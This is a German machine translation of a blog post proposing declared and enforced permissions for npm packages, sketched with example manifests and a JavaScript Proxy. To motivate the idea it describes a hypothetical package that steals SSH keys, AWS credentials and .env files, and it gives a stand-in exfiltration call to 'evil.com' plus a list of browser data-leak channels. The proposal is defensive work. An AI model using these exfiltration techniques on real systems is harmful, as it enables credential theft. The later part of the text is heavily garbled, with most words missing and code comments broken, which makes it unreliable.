Haben Sie eine Idee: Berechtigungssystem für npm-Pakete

Vor einigen Tagen habe ich den Taschenrechner zum ersten Mal auf einem neuen Telefon gestartet und die folgende Meldung angezeigt: "Der Taschenrechner möchte auf Ihre Kontakte zugreifen."


Zuerst schien mir diese Nachricht ein wenig traurig zu sein (es schien, dass der Taschenrechner einsam war), aber dieser Fall brachte mich zum Nachdenken ...

Was wäre, wenn npm-Pakete wie Telefonanwendungen die für ihre Arbeit erforderlichen Berechtigungen deklarieren müssten? Bei diesem Ansatz package.json Paketdatei package.json möglicherweise folgendermaßen aus:

 { "name": "fancy-logger", "version": "0.1.0", "permissions": {   "browser": ["network"],   "node": ["http", "fs"] }, "etcetera": "etcetera" } 

Auf npmjs.com könnte ein Abschnitt der Paketseite mit Informationen zu den erforderlichen Berechtigungen so aussehen.


Ein solcher Berechtigungsabschnitt ist möglicherweise für Pakete auf der npm-Registrierungssite verfügbar.
Solche Berechtigungslisten für ein Paket können eine Kombination der Berechtigungen aller Abhängigkeiten mit eigenen Berechtigungen sein.

Ein Blick auf den Inhalt des permissions des fancy-logger Pakets lässt den Entwickler möglicherweise darüber nachdenken, warum das Paket, das etwas in die Konsole schreibt, Zugriff auf das http Modul benötigt und dass dies etwas verdächtig aussieht.

In welcher Welt würde ein ähnliches Berechtigungssystem für npm-Pakete verwendet? Vielleicht wird jemand den Sinn darin nicht erkennen, da er sich beispielsweise völlig sicher fühlt, wenn er nur zuverlässige Pakete von bewährten Verlagen verwendet. Damit sich jeder, der dies liest, verwundbar fühlt, hier eine kurze Geschichte.

Die Geschichte, wie ich Ihre Umgebungsvariablen stehle


Ich wollte ein npm-Paket namens space-invaders erstellen. Es war interessant zu lernen, wie man Spiele macht, indem man ein Spiel schreibt, das in der Konsole funktioniert, und gleichzeitig meinen Standpunkt zu Schwachstellen im Zusammenhang mit npm-Paketen zu untermauern.

Sie können dieses Spiel mit dem folgenden Befehl npx space-invaders : npx space-invaders . Nach dem Start konnte man sofort auf die Aliens schießen und die Zeit töten.

Du möchtest dieses Spiel, du würdest es mit Freunden teilen, sie würden es auch mögen.

All dies sieht sehr positiv aus, aber, um Sie zu unterhalten, werden die space-invaders des Spiels ihr eigenes space-invaders , nämlich das Sammeln einiger Daten. Es sammelt Informationen von ~/.ssh/ , ~/.aws/credentials , von ~/.bash_profile und anderen ähnlichen Stellen und liest den Inhalt aller .env Dateien, die es erreichen kann, einschließlich process.env , look zur Git-Konfiguration (um herauszufinden, wessen Informationen sie sammelt), und dann sendet sie alles an meinen Server.

Ich habe noch kein solches Spiel geschrieben, aber seit einiger Zeit fühle ich mich unwohl. Wenn ich den Befehl npm install ausführe, denke ich darüber nach, wie anfällig mein System ist. Wenn ich mir nun die Fortschrittsanzeige der Installation anschaue, denke ich darüber nach, wie viele Standardordner und -dateien auf meinem Laptop vorhanden sind, deren Inhalt nicht in die falschen Hände geraten sollte.

Und es geht nicht nur um meinen Arbeitsbereich. Beispielsweise weiß ich nicht einmal, ob in einigen Umgebungsvariablen meines Site Assembly-Systems Daten für die Verbindung zur Produktionsserverdatenbank vorhanden sind. Wenn irgendwo solche Daten vorhanden sind, können Sie sich eine Situation vorstellen, in der ein böswilliges npm-Paket ein Skript auf dem System installiert, das für die Verbindung mit meiner Arbeitsdatenbank ausgelegt ist. Anschließend führt dieses Skript den Befehl SELECT * from users und anschließend http.get('http://evil.com/that-data') . Vielleicht bin ich gerade wegen der Möglichkeit solcher Angriffe auf den Rat gestoßen, Passwörter nicht im Klartext in Datenbanken zu speichern?

All dies sieht ziemlich beängstigend aus und geschieht höchstwahrscheinlich bereits (obwohl es unmöglich ist, genau zu sagen, ob dies geschieht oder nicht).

Damit hören wir vielleicht auf, über die Folgen des Diebstahls wichtiger Daten zu sprechen. Kommen wir zurück zum Thema Berechtigungen für npm-Pakete.

Berechtigungsänderungen sperren


Ich nehme an, es wäre großartig, die vom Paket benötigten Berechtigungen beim Anzeigen der npm-Site sehen zu können. Es sollte jedoch beachtet werden, dass die Fähigkeit, Berechtigungen anzuzeigen, nur dann gut ist, wenn sie auf einen bestimmten Zeitpunkt angewendet werden. Tatsächlich löst dies nicht das eigentliche Problem.

Bei einem kürzlich in npm aufgetretenen Vorfall veröffentlichte jemand zuerst eine Patch-Version eines Pakets mit Schadcode und anschließend eine Nebenversion, aus der der Schadcode bereits entfernt worden war. Die Zeit zwischen diesen beiden Ereignissen reichte aus, um viele Benutzer des gefährlichen Pakets zu gefährden.

Das ist das Problem. Keine Pakete, die von Malware erstellt wurden und dies immer bleiben. Das Problem ist, dass Sie in einem scheinbar zuverlässigen Paket leise etwas Schlechtes hinzufügen und nach einer Weile daraus entfernen können.

Infolgedessen können wir sagen, dass wir einen Mechanismus benötigen, um die von Paketen empfangenen Berechtigungen zu blockieren.

Möglicherweise handelt es sich um eine Datei package-permissions.json , die Berechtigungen für Node.js und für den Browser festlegt und eine Liste von Paketen enthält, die diese Berechtigungen benötigen. Bei diesem Ansatz müssten alle Pakete in einer solchen Datei package.json werden, und nicht nur diejenigen, die sich im Abschnitt " dependencies " der Datei package.json des Projekts befinden.

So könnte die Datei package-permissions.json aussehen.

 { "node": {   "http": [     "express",     "stream-http"   ],   "fs": [     "fs-extra",     "webpack",     "node-sass"   ] }, "browser": {   "network": [     "whatwg-fetch",     "new-relic"   ] } } 

Eine echte Version einer solchen Datei könnte viel mehr Paketeinträge enthalten.

Stellen Sie sich nun vor, Sie aktualisieren eines Tages ein Paket mit zweihundert Abhängigkeiten, das ebenfalls aktualisiert wird. Für eine dieser Abhängigkeiten wurde eine Patch-Version veröffentlicht, für die plötzlich Zugriff auf http Node.js erforderlich war.

In diesem npm install Befehl npm install mit einer Meldung ähnlich der folgenden fehl: „Das vom fancy-logger add-two-number Paket benötigte add-two-number fancy-logger Paket hat den Zugriff auf http Node.js angefordert. Führen Sie den Befehl npm update-permissions add-two-numbers , um dieses Problem zu beheben, und führen Sie dann den Befehl npm install erneut aus. “

In diesem package.json ist fancy-logger das Paket in Ihrer package.json Datei (vorausgesetzt, Sie sind mit diesem Paket vertraut), und das add-two-numbers package.json add-two-numbers Paket ist eine fancy-logger Abhängigkeit, von der Sie noch nie gehört haben.

Selbst wenn sich im System eine Datei befindet, mit der die Abhängigkeiten blockiert werden können, bestätigen einige Entwickler die neuen Berechtigungen, ohne an irgendetwas zu denken. Zumindest wird jedoch eine Änderung in package-permissions.json in der Pull-Anforderung sichtbar sein, dh es besteht die Möglichkeit, dass ein anderer verantwortungsbewussterer Entwickler darauf achtet.

Darüber hinaus würde eine Änderung der angeforderten Berechtigungen erfordern, dass die npm-Registrierung selbst Paketautoren benachrichtigt, wenn sich eine Situation irgendwo im Abhängigkeitsbaum ihrer Pakete ändert. Vielleicht - dies erfolgt per E-Mail mit folgenden Inhalten:

"Hallo, Autor von fancy-logger . Wir informieren Sie, dass add-two-number , das Paket, dessen Funktionen Sie verwenden, die Erlaubnis zur Arbeit mit dem http Modul angefordert hat. Ihre Paketberechtigungen, wie auf npmjs.com/package/fancy-logger , wurden entsprechend aktualisiert. “

Dies wird natürlich die Arbeit sowohl der Autoren der Pakete als auch von npm selbst ergänzen, aber diese Dinge werden es wert sein, ein wenig Zeit damit zu verbringen. In diesem Fall kann der Autor von add-two-numbers absolut sicher sein, dass, wenn er um Erlaubnis zur Arbeit mit dem http Modul bittet, dies zur Auslösung vieler "Alarme" auf der ganzen Welt führt.

Das brauchen wir. Huh? Ich möchte hoffen, dass Pakete, die weniger Berechtigungen erfordern, wie bei Telefonanwendungen und sogar bei Erweiterungen für Chrome bei Benutzern beliebter sind als solche, die einen unerklärlich hohen Zugriff auf Systeme benötigen. Dies wiederum lässt Paketautoren bei der Auswahl der für ihre Entwicklung erforderlichen Berechtigungen sehr gut nachdenken.

Angenommen, npm beschließt, ein Berechtigungssystem einzuführen. Am ersten Tag nach dem Start eines solchen Systems wird davon ausgegangen, dass für alle Pakete vollständige Berechtigungen erforderlich sind (eine solche Entscheidung wird später getroffen - in Fällen, in denen der Abschnitt mit den permissions in package.json fehlt).

Der Autor des Pakets, der behaupten möchte, dass für sein Paket keine besonderen Berechtigungen erforderlich sind, möchte den Abschnitt " permissions " in package.json als leeres Objekt hinzufügen. Und wenn die Autoren der Pakete so interessiert sind, dass Abhängigkeitsberechtigungen ihre Pakete nicht „belasten“, versuchen sie sicherzustellen, dass diese Abhängigkeitspakete auch keine besonderen Berechtigungen erfordern, indem sie beispielsweise entsprechende Pull-Anforderungen im Abhängigkeitsrepository stellen.

Darüber hinaus bemüht sich jeder Autor des Pakets, das Risiko einer Sicherheitsanfälligkeit seines Pakets zu verringern, wenn eine seiner Abhängigkeiten aufgehoben wird. Wenn die Autoren der Pakete Abhängigkeiten verwenden, für die Berechtigungen erforderlich sind, die anscheinend nicht benötigt werden, besteht daher ein Anreiz, auf die Verwendung anderer Pakete umzusteigen.

Und im Fall von Entwicklern, die beim Erstellen von Anwendungen npm-Pakete verwenden, werden sie gezwungen, den in ihren Projekten verwendeten Paketen besondere Aufmerksamkeit zu widmen und hauptsächlich diejenigen auszuwählen, für die keine besonderen Berechtigungen erforderlich sind. Gleichzeitig erfordern einige Pakete aus objektiven Gründen Berechtigungen, die Probleme verursachen können, aber solche Pakete werden wahrscheinlich von den Entwicklern speziell kontrolliert.

Vielleicht kann so etwas wie Greenkeeper irgendwie helfen, all diese Probleme zu lösen.

Schließlich bietet die Datei package-permissions.json eine leicht verständliche Zusammenfassung für einen Sicherheitsexperten, der potenzielle „Lücken“ in der Anwendung bewertet und es Ihnen ermöglicht, spezifische Fragen zu kontroversen Paketen und deren Berechtigungen zu stellen.

Infolgedessen hoffe ich, dass sich diese einfache permissions ungefähr 800.000 npm-Pakete ziemlich weit ausbreiten und npm sicherer machen kann.

Dies wird natürlich mögliche Angriffe nicht verhindern. Ebenso wie die von mobilen Anwendungen angeforderten Berechtigungen es nicht unmöglich machen, bösartige mobile Anwendungen zu erstellen, die über offizielle Websites verbreitet werden. Dies wird jedoch die „Angriffsfläche“ auf Pakete beschränken, die ausdrücklich um Erlaubnis bitten, bestimmte Aktionen auszuführen, die eine Bedrohung für Computersysteme darstellen könnten. Darüber hinaus wird es interessant sein zu erfahren, wie viel Prozent der Pakete überhaupt keine besonderen Berechtigungen benötigen.

So sieht der Mechanismus für die Arbeit mit Berechtigungen für npm-Pakete aus, den ich mir ausgedacht habe. Wenn diese Idee Wirklichkeit wird, können wir uns entweder darauf verlassen, dass die Angreifer ihre Pakete ehrlich beschreiben, indem sie Berechtigungen deklarieren, oder das System der Deklaration von Berechtigungen mit dem Mechanismus der erzwungenen Einschränkung der Funktionen von Paketen gemäß den von ihnen angeforderten Berechtigungen kombinieren. Dies ist eine interessante Frage. Schauen wir uns das an, wie es auf Node.js und Browser angewendet wird.

Erzwingen von Paketbeschränkungen gemäß den von ihnen in Node.js angeforderten Berechtigungen


Hier sehe ich zwei mögliche Optionen für die Anwendung solcher Einschränkungen.

▍ Option 1: Spezielles npm-Paket, das Sicherheitsmaßnahmen erzwingt


Stellen Sie sich ein Paket vor, das von npm (oder einer anderen Organisation, die gleichermaßen maßgeblich und visionär ist) erstellt und verwaltet wird. Lassen Sie dieses Paket @npm/permissions heißen.

Ein solches Paket würde entweder mit dem ersten Importbefehl im Anwendungscode enthalten sein, oder Anwendungen würden mit einem Befehl des Formularknotens node -r @npm/permissions index.js .

Ein Paket würde andere Importbefehle überschreiben, damit sie nicht die im Abschnitt " permissions " von package.json Dateien anderer Pakete angegebenen permissions verletzen. Wenn der Autor eines bestimmten lovely-logger Pakets die Notwendigkeit für dieses Paket im http Modul Node.js nicht angegeben hat, bedeutet dies, dass dieses Modul nicht auf ein solches Paket zugreifen kann.

Streng genommen ist es nicht ideal, ganze Node.js-Module auf diese Weise zu blockieren. Beispielsweise lädt das npm- methods das http Modul Node.js, sendet jedoch keine Daten damit. Es nimmt nur das http.METHODS Objekt, konvertiert seinen Namen in http.METHODS und exportiert es als klassisches npm-Paket. Jetzt scheint ein solches Paket ein großartiges Ziel für einen Angreifer zu sein - er hat 6 Millionen Downloads pro Woche, während er sich seit 3 ​​Jahren nicht geändert hat. Ich könnte den Autoren dieses Pakets schreiben und sie einladen, mir das Repository zu geben.

In Anbetracht des methods ist es besser zu berücksichtigen, dass keine network erforderlich ist und keine Berechtigung, die den Zugriff auf das http Modul ermöglicht. Diese Einschränkung kann dann mithilfe eines externen Mechanismus behoben werden und alle Versuche dieses Pakets neutralisiert werden, bestimmte Daten von den Systemen zu senden, auf denen es funktioniert.

Das imaginäre Paket @npm/permissions kann auch den Zugriff von einem Paket auf andere Pakete beschränken, die nicht als Abhängigkeiten aufgeführt sind. Dies verhindert beispielsweise, dass das Paket so etwas wie fs-extra und request importiert, und nutzt die Funktionen dieser Pakete, um Daten aus dem Dateisystem zu lesen und gelesene Daten an einen Angreifer zu senden.

Ebenso kann es nützlich sein, zwischen "internem" und "externem" Festplattenzugriff zu unterscheiden. Ich bin ziemlich froh, dass das node-sass Zugriff auf Materialien benötigt, die sich im Verzeichnis meines Projekts befinden, aber ich sehe keine Gründe, warum dieses Paket Zugriff auf etwas außerhalb dieses Verzeichnisses benötigt.

Möglicherweise muss zu Beginn der Einführung des @npm/permissions Paket @npm/permissions manuell zu Projekten hinzugefügt werden. Vielleicht ist dies während der Übergangszeit, während der Beseitigung unvermeidlicher Fehlfunktionen, der einzig vernünftige Ansatz zur Verwendung eines solchen Mechanismus. Um jedoch echte Sicherheit zu gewährleisten, muss dieses Paket eng in das System integriert sein, da bei der Ausführung von Paketinstallationsskripten die Berechtigungen berücksichtigt werden müssen.

Dann stellt sich höchstwahrscheinlich heraus, dass ein einfacher Befehl der Form "enforcePermissions": true von "enforcePermissions": true in der Datei package.json des Projekts npm package.json , alle Skripte mit der erzwungenen Verwendung der von ihnen deklarierten Berechtigungen auszuführen.

▍ Option 2: Node.js im abgesicherten Modus


Die spezielle Funktionsweise von Node.js, die auf ein höheres Sicherheitsniveau ausgerichtet ist, erfordert offensichtlich ernstere Änderungen. Aber auf lange Sicht kann die Node.js-Plattform selbst möglicherweise Einschränkungen durchsetzen, die durch die von jedem Paket deklarierten Berechtigungen festgelegt werden.

Einerseits weiß ich, dass diejenigen, die die Node.js-Plattform entwickeln, sich bemühen, die Probleme dieser Plattform zu lösen, und meine Vorstellungen über die Sicherheit von npm-Paketen gehen über den Rahmen ihrer Interessen hinaus. Letztendlich ist npm nur die Technologie, die Node.js begleitet. Auf der anderen Seite sind die Entwickler von Node.js daran interessiert, dass sich Unternehmensbenutzer sicher fühlen, mit dieser Plattform zu arbeiten, und Sicherheit ist vermutlich einer der Aspekte von Node.js, die der „Community“ nicht gegeben werden sollten.

Während also alles, worüber wir sprachen, ziemlich einfach aussah und sich darauf beschränkte, dass das System auf die eine oder andere Weise den Fähigkeiten folgen würde, die von den Modulen während des Betriebs von Node.js verwendet wurden.

Lassen Sie uns nun über Browser sprechen. Hier sieht alles nicht so klar und verständlich aus.

Erzwungene Einschränkung der Funktionen von Paketen gemäß den angeforderten Berechtigungen in Browsern


Auf den ersten Blick sieht die erzwungene Einschränkung der Funktionen von Paketen in Browsern noch einfacher aus, da der im Browser ausgeführte Code insbesondere in Bezug auf das Betriebssystem, auf dem der Browser ausgeführt wird, nicht viel bewirken kann. Tatsächlich müssen Sie sich bei Browsern nur um die Fähigkeit von Paketen kümmern, Daten an ungewöhnliche Adressen zu übertragen.

Das Problem hierbei ist, dass es unzählige Möglichkeiten gibt, Daten vom Browser des Benutzers an den Server des Angreifers zu senden.

Dies wird als Exfiltration oder Datenleckage bezeichnet. Wenn Sie einen Sicherheitsexperten fragen, wie dies vermieden werden kann, wird er Sie mit dem Aussehen der Person, die das Schießpulver erfunden hat, auffordern, die Verwendung von npm einzustellen.

Ich glaube, dass Sie bei Paketen, die in Browsern ausgeführt werden, nur auf eine Auflösung achten müssen - diejenige, die für die Fähigkeit verantwortlich ist, mit dem Netzwerk zu arbeiten. Nennen wir es network . In dieser Umgebung gibt es möglicherweise andere Berechtigungen (z. B. solche, die den Zugriff auf das DOM oder den lokalen Speicher regeln). Hier gehe ich jedoch davon aus, dass unser Hauptanliegen die Möglichkeit eines Datenverlusts ist.

Daten aus dem Browser können auf viele Arten "entfernt" werden. Hier sind die, an die ich mich in 60 Sekunden erinnern konnte:

  • API- fetch .
  • Web Sockets
  • WebRTC-Technologie.
  • Konstruktor von EventSource .
  • XMLHttpRequest API
  • Festlegen der innerHTML Eigenschaft verschiedener Elemente (Sie können neue Elemente erstellen).
  • Erstellen eines Bildobjekts mit dem new Image() Befehl new Image() (die Eigenschaft src eines Bildes kann als Mittel zum Exfiltrieren von Daten dienen).
  • Festlegen von document.location , window.location usw.
  • Ändern der src Eigenschaften eines vorhandenen Bildes, iframe oder ähnliches.
  • Änderungen an der target des <form> -Elements.
  • Verwenden einer clever gestalteten Zeichenfolge, um auf einen der oben genannten Mechanismen zuzugreifen oder auf etwas top oder self anstelle von windows zuzugreifen.

Es ist zu beachten, dass eine gute Content Security Policy (CSP) einige dieser Bedrohungen neutralisieren kann, dies gilt jedoch nicht für alle. Wenn mich jemand korrigieren kann, bin ich glücklich, aber ich glaube, dass Sie sich niemals darauf verlassen können, dass CSP Sie vollständig vor Datenlecks schützt. Eine Person hat mir einmal erzählt, dass CSP einen nahezu vollständigen Schutz vor einer Vielzahl von Bedrohungen bietet. Darauf antwortete ich, dass Sie nicht ein wenig schwanger sein können, und seitdem haben wir nicht mehr mit dieser Person kommuniziert.

Wenn Sie sich der Suche nach Möglichkeiten zum Stehlen von Daten aus dem Browser mit Bedacht nähern, ist es sicher ziemlich realistisch, eine ziemlich vollständige Liste dieser Methoden zu erstellen.

Jetzt müssen wir einen Mechanismus finden, der den Zugang zur Nutzung von Möglichkeiten aus einer solchen Liste verbietet.

Webpack (, @npm/permissions-webpack-plugin ), :

  • browser package-permissions.json , npm- ( - , ).
  • , , , API, .

(, Parcel, Rollup, Browserify ).

, , -. , , , , , .

, ( Lodash, Moment, ), . .

.

 //   (),   ,    function bigFrameworkWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //      const firstDiv = document.querySelector('div'); //    }, }; return module; } //   ( ),   ,    function smallUtilWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //  !     const firstDiv = document.querySelector('div'); //    }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) {   if (prop === 'document') {     return new Proxy(target.document, {       get(target, prop, receiver) {         if (prop === 'createElement') {           return new Proxy(window.document.createElement, {             apply(target, thisArg, argumentsList) {               if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {                 console.error('A module without permissions attempted to create a naughty element');                 return false;               }               return target.apply(window.document, argumentsList);             },           });         }         const result = Reflect.get(target, prop, receiver);         if (typeof result === 'function') return result.bind(target);         return result;       },     });   }   return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); //   const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element" 

function bigFrameworkWrapper(newWindow) { function smallUtilWrapper(newWindow) { — , . «» .

const newScript = document.createElement('script'); // ! , — script .

const bigFramework = bigFrameworkWrapper(window); const smallUtil = smallUtilWrapper(restrictedWindow); «» . , , .

const restrictedWindow = new Proxy(window, { window , , window , , window.document.createElement DOM .

Proxy .

. , .

, , API, . , , , , , , , , , , «» .

, , , - .

, , , , Proxy . , 90% , . , , . , - , , , .

, , , , , Node.js .


, , HTTP , , , -. Das ist verständlich.

-, , , . iframe , . sandbox , , . , , , -.

, , sandbox <script> . : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script> . , , , - create-react-app , 1.4 , .

, npm , .

, - .

, , - « ...», , , ?


, , , , . , 90% , , , 10% — , .

, , - .

Liebe Leser! , , npm, -?

Source: https://habr.com/ru/post/de433010/


All Articles